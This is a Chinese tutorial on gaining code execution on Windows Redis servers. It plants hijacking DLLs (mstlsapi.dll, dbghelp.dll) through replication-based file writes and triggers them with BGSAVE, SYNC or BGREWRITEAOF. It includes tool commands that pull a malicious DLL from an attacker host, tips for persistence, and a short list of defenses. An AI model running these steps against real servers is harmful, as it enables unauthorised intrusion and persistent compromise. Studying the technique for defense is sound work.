Redis on Windows 出网利用探索
字数 1934 2025-08-20 18:17:41
Redis on Windows 出网利用探索 - 详细教学文档
1. 前言
本文详细讲解在Windows环境下Redis服务的DLL劫持利用技术,特别是针对Redis自身命令触发的DLL劫持场景。与传统的DLL劫持技术不同,本文重点探索Redis服务自身命令执行过程中触发的DLL加载行为,实现主动触发的利用方式。
2. 环境准备
2.1 目标环境
- 操作系统: Windows Server 2012
- Redis版本: 3.2.100
- 权限要求: Administrator或Network Service
- 开放端口: 80(IIS), 3389(RDP), 6379(Redis)
2.2 工具准备
- Procmon (进程监视工具)
- DLLHijacker.py (DLL劫持项目生成工具)
- RedisWriteFile.py (Redis文件写入工具)
- Visual Studio (编译劫持DLL)
3. 传统利用方法回顾
在Windows环境下Redis的常见利用方法包括:
- 写Webshell
- 修改启动项(Startup)
- DLL劫持与篡改
- MOF文件利用
4. RDP服务的DLL劫持利用
4.1 发现过程
使用Procmon监视RDP连接过程,发现mstlsapi.dll加载失败的情况。该DLL与RDP证书加密相关。
4.2 劫持步骤
- 使用DLLHijacker.py生成劫持项目:
python3 DLLHijacker.py mstlsapi.dll - 生成的VS项目会自动转发所有导出函数(约106个)
- 修改项目中的原DLL路径为写入路径(如
C:\Users\Public\Downloads\mstlsapi.dll) - 编译生成劫持DLL
4.3 文件写入
使用Redis主从复制写入文件:
python3 RedisWriteFile.py --rhost=192.168.56.140 --rport=6379 \
--lhost=192.168.56.1 --rpath="C:\Windows" \
--rfile="mstlsapi.dll" --lfile="/tmp/mstlsapiJ.dll"
4.4 注意事项
- 劫持DLL需要与原DLL同时存在
- 需在Hijack函数后执行FreeLibrary,避免只能触发一次
- Shellcode执行应避免阻塞DLL加载过程
5. Redis自身命令的DLL劫持
5.1 发现过程
通过Procmon监视Redis命令执行,发现以下命令会触发DLL加载:
- SYNC/PSYNC (主从复制)
- BGSAVE (后台保存)
- BGREWRITEAOF (AOF重写)
特别是dbghelp.dll的加载行为,由于不在KnownDLLs列表中,会优先从Redis安装目录加载。
5.2 利用条件
- Redis安装目录(如
C:\Program Files\Redis)有写入权限 - Network Service用户默认拥有该目录完全控制权限
5.3 利用步骤
- 使用DLLHijacker.py生成dbghelp.dll劫持项目
- 修改原DLL路径为
C:\Windows\System32\dbghelp.dll - 编译生成劫持DLL
- 通过Redis写入安装目录
- 执行以下任一命令触发:
BGSAVE SYNC BGREWRITEAOF
5.4 持久化效果
- Redis服务重启后会重新加载劫持DLL
- 伴随持久化操作自动触发
6. 防御建议
- 在加载DLL时使用绝对路径
- 调用
SetDllDirectory(L"")排除当前目录 - 使用
LoadLibraryEx并指定LOAD_LIBRARY_SEARCH系列标志 - 验证DLL的合法性和数字签名
- 限制Redis安装目录的写入权限
7. 测试验证环境
已验证的环境包括:
- Windows Server 2012 / Redis 3.2.100
- Windows 7 / Redis 3.0.504
- Windows Server 2008 / Redis 2.8.2103
8. 补充说明
- 主从复制可能导致数据清空问题,可使用
redis-dump-go工具解决 - 不同Windows版本的
dbghelp.dll存在差异,建议使用同版本DLL - 该利用依赖主从复制写文件能力,公网利用需目标出网
9. 参考资源
- Redis官方文档: https://redis.io/
- DLL劫持技术详解: https://kiwings.github.io/2019/04/04/th-DLL劫持/
- Redis主从复制原理: https://juejin.im/post/6844903943764443149
- Redis持久化机制: https://juejin.im/post/6844903939339452430
- Redis-Windows DLL劫持: https://jkme.github.io/redis-on-windows-dll-hijack.html
通过本文介绍的方法,安全研究人员可以更全面地评估Windows环境下Redis服务的安全风险,并采取相应的防护措施。